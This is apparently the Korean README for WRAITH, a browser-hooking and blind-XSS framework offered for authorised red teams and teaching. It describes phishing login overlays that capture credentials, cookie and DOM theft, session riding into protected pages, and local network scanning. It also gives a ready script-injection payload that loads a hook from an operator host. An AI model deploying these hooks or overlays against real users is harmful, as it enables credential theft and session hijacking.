
브라우저 후킹 프레임워크로, 공인된 레드 팀과 교육자를 위한 도구입니다. XSS를 통해 브라우저를 후킹하고, 대화형 사후 침투 제어, 블라인드 XSS 정보 수집, 사회공학 오버레이, 실습 랩을 제공합니다.
레드팀, 보안 연구자, 교육자를 위한 현대적 독립형 브라우저 후킹 프레임워크 — BeEF와 블라인드 XSS 콜백 도구들의 클린룸 후속작입니다.
공인된 보안 테스트, 연구 및 교육 전용입니다. WRAITH는 피싱 / 브라우저 내 중간자 공격(man-in-the-browser) / 블라인드 XSS 기법을 시연하고 테스트하기 위한 공격적 보안 도구입니다. 테스트할 명시적 승인을 받은 시스템과 사람에 대해서만 사용하세요. 사용 방법에 대한 책임은 사용자에게 있습니다.

Arcanum에서 일하는 동안 우리는 두 종류의 도구를 번갈아 사용하면서, 이 둘이 하나로 합쳐지길 바랐습니다.
한쪽에는 BeEF — Browser Exploitation Framework — 가 있었습니다. 브라우저를 후킹한 다음 세션 내부에서 작업하는 고전적인 워크플로우를 위한 도구였죠: 가짜 로그인 키로깅, 로컬 네트워크 정찰, 실제 피해자에게 모듈 전달. 우리가 man-in-the-browser 공격을 사람들에게 실감나게 보여줄 때 사용한 도구입니다. 하지만 세월이 흐르면서 낡았고, 상당 부분이 오늘날의 브라우저에서 불안정하며, 사회공학 오버레이도 10년 전 로그인 화면처럼 보입니다.
다른 한쪽에는 우리가 가장 좋아하는 블라인드 XSS 콜백 프레임워크(XSS Hunter, ezXSS)가 있었습니다: 필드에 페이로드를 넣으면, 보이지 않는 어딘가에서 발화하는 순간 오리진, 쿠키, DOM, 스크린샷 같은 전리품을 가지고 콜백이 옵니다.
우리가 점점 더 필요로 했던 것 — 특히 타깃이 AI 애플리케이션 생태계가 되면서, 신뢰할 수 없는 텍스트가 에이전트, 도구 출력, 관리자 검토 큐, 지원 콘솔을 흐르고 아무도 지켜보지 않는 곳에서 JavaScript가 발화하는 상황이 늘어났죠 — 은 두 가지를 모두 수행하는 단일 프레임워크였습니다: BeEF 후크의 대화형·지속적 사후 침투 제어와, 발화 후 잊어버리는(fire-and-forget) 블라인드 XSS 콜백 전리품을 하나의 페이로드로, 현재 브라우저에서 안정적으로 동작하고 오늘날의 실제 로그인 화면처럼 보이는 그런 도구 말입니다.
그래서 우리는 WRAITH를 만들었습니다.
우리는 WRAITH를 일부러, 그리고 이르게 공개합니다. "완성"될 때까지 붙잡고 있기보다는, 실제로 사용할 사람들의 손에 먼저 전달해서 무엇이 고장 나는지 듣는 편이 낫다고 생각했습니다.
즉, 거친 부분과 버그가 있을 것으로 예상하세요. 일부 모듈은 다른 모듈보다 더 많이 실전 검증되었고, 브라우저 동작은 끊임없이 변하며(아래 네트워크 스캔 노트 참조), API는 버전 간에 변경될 수 있습니다. 문제가 발생하면 이슈를 열어 주세요 — 재현 절차, 브라우저 + 버전, 기대했던 동작이면 금상첨화입니다. 프로젝트의 기여 조건에 따라 PR도 환영합니다.
가장 빠른 방법입니다. Docker + Docker Compose가 필요합니다.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh가 모든 과정을 안내합니다:
.env(chmod 600)를 작성한 다음 컨테이너를 빌드 + 시작합니다. 운영자 콘솔 : http://YOUR_IP:8090/operator/
로그인 페이지 : http://YOUR_IP:8090/login (사용자 "operator")
데모 피해자 페이지 : http://YOUR_IP:8090/demo/
후크 페이로드 : http://YOUR_IP:8090/hook.js
즉시 사용 가능한 XSS 페이로드:
"><script src="http://YOUR_IP:8090/hook.js"></script>
표준 compose 명령으로 관리합니다:
docker compose logs -f # 로그 보기
docker compose down # 중지 (./data 유지)
./setup.sh # 재구성 (비밀번호 교체, 주소 변경 등)
캡처된 세션은 호스트의 ./data/에 유지됩니다 — 이미지에 절대 포함되지 않으며, 절대 커밋되지 않습니다(.env와 data/는 gitignore 처리됨).
운영자 콘솔은 운영자 비밀번호가 설정된 경우 로그인 게이트가 적용되며, 사용자 이름 + 비밀번호 로그인을 사용합니다:

npm install
npm start
그런 다음 http://127.0.0.1:3000/operator/ 에서 운영자 콘솔을, http://127.0.0.1:3000/demo/ 에서 데모 피해자 페이지를 엽니다(두 번째 브라우저/프로필에서). localhost에서는 편의를 위해 로그인이 기본적으로 비활성화됩니다 — 서버는 운영자 비밀번호 없이 공용 인터페이스에 바인딩을 거부하므로, 실수로 열린 패널을 노출할 수 없습니다.
/hook.js는 작은 페이로드입니다. 사용자가 제어하는 모든 페이지에 넣거나(<script src="/hook.js"></script>), 타깃의 XSS를 통해 전달하세요. 이를 로드한 브라우저는 운영자에게 WebSocket을 열고, 스스로를 식별(브라우저, OS, IP, 페이지, UA)하며, 자동 재연결되고, 탐색에도 살아남습니다. 후킹된 모든 브라우저는 콘솔에 실시간으로 표시되며, 하나를 선택해 제어할 수 있습니다 — 전체 대시보드는 이 README 상단의 대표 이미지입니다: 후킹된 브라우저 명단, 타깃 상세, 배포 컨트롤, 실시간 활동 피드, 캡처된 자격 증명.
현대화된 가짜 로그인 오버레이로, 격리된 shadow DOM에 렌더링되어 어떤 호스트 페이지에서도 픽셀 단위로 정확하게 보이고, 실제 재인증 모달처럼 뒤의 페이지를 프로스트 블러 처리합니다. LinkedIn, Facebook, Microsoft / Office 365(정통 2단계 이메일 → 비밀번호)가 포함됩니다.

타깃이 오버레이에 입력하는 모든 문자가 실시간으로 콘솔에 스트리밍되고, 제출된 자격 증명은 캡처된 자격 증명(Captured Credentials) 에 저장됩니다 — 새로고침이나 재시작에도 데이터가 유실되지 않도록 모두 영속화됩니다.

브라우저가 후킹되는 즉시 WRAITH는 페이지 캡처(Page Capture) 를 자동 실행합니다: 블라인드 XSS 프레임워크가 페이로드가 보이지 않는 곳에서 발화했을 때 수집하는 것과 정확히 동일합니다 — 발화한 위치(오리진 + URL + 리퍼러), 피해자의 쿠키(HttpOnly 제외), 전체 DOM, 그리고 스크린샷. 실패는 정직하게 보고됩니다. 실패 자체가 교훈이기 때문입니다: HttpOnly 쿠키는 절대 나타나지 않으며, CSP나 교차 오리진 캔버스 오염으로 스크린샷이 차단될 수 있습니다.

여기서 WRAITH는 대체하는 도구들보다 더 나아갑니다. 블라인드 XSS나 후크를 페이지에 성공시키면, 대부분의 프레임워크는 스크린샷과 원시 HTML 덤프에서 멈춥니다 — 페이로드가 어디서 발화했는지는 볼 수 있지만, 실제로 그걸로 무언가를 할 수는 없습니다.
WRAITH의 페이지 미러(Page Mirror) 는 그 막다른 전리품을 애플리케이션의 실시간 탐색 가능한 뷰로 바꿉니다. 후킹된 페이지를 운영자 콘솔 안에서 실제 렌더링된 브라우저 뷰로 열고 — 링크를 클릭하고 앱을 시각적으로 이동할 수 있습니다. 피해자가 하는 것처럼요.

핵심: 모든 탐색은 후킹된 브라우저를 통해 가져옵니다, 그래서 피해자의 세션과 동일 오리진 신뢰를 그대로 사용합니다. 피해자 세션이 도달할 수 있는 모든 페이지, 엔드포인트, 기능에 사용자도 도달할 수 있습니다 — 인증된 세션 쿠키 뒤에 숨겨진 페이지도 포함해서요(그리고 HttpOnly라서 직접 탈취할 수 없었을 페이지도).
아래 예시에서 우리는 지원 에이전트의 티켓 큐에서 시작해 내부 자격 증명 금고(Credential Vault) 까지 바로 클릭해 들어갑니다 — 인증된 에이전트 세션 안에서만 열리는 페이지입니다. 탈취한 자격 증명도, 훔친 쿠키도 없습니다: 우리는 단지 피해자의 세션을 타고 그곳에 도달했을 뿐입니다.

교차 오리진 읽기는 설계상 여전히 실패합니다(동일 오리진 정책은 유효) — 미러의 도달 범위는 피해자의 도달 범위와 정확히 같습니다. 그 이상도 이하도 아닙니다. 그 경계 자체가 교훈의 일부입니다.
모든 컨텍스트(HTML, 속성 탈출, 태그 닫기, 이벤트 핸들러, JS 컨텍스트, javascript: URI, jQuery)에 대한 즉시 발화 가능한 인젝션 문자열의 XSS-Hunter 스타일 카탈로그로, 각 항목에 사용자의 후크 URL이 자동으로 채워지고 원클릭 복사가 가능합니다.

후킹된 브라우저를 프록시로 사용하여 피해자의 로컬 서비스를 식별합니다. 현재 브라우저용으로 재구축된 타이밍 사이드 채널입니다 — 신뢰할 수 있는 기본값은 두 가지 독립적인 프리미티브(fetch- 및 WebSocket-타이밍, 문자 그대로 eBay의 check.js 방식)를 사용하는 보정된 127.0.0.1 스캔입니다. LAN 모드도 포함되지만 정직하게 표시됩니다. Chrome 142+의 Local Network Access가 이제 이를 차단하기 때문입니다(아래 참조).
/lab에 의도적으로 취약한 "지원 데스크"가 있으며 저장형 XSS 싱크가 포함되어 있어, 전체 체인을 동일 오리진에서 처음부터 끝까지 시연할 수 있습니다: 악성 티켓 제출 → "에이전트"가 큐를 검토하고 페이로드 발화(블라인드 XSS의 순간) → 후킹된 에이전트를 페이지 미러로 열고 세션 게이트 금고에 접근. 의도적으로 안전하지 않게 설계되었으며, 플래그가 심어져 있습니다.

후크는 로드되는 즉시 발화합니다. 저장된 필드에 던져진 블라인드 XSS 페이로드가 나중에 보이지 않는 관리자/지원/로그/에이전트 컨텍스트에서 렌더링되는 것과 정확히 같습니다. 데이터에 그대로 드러나는 교훈: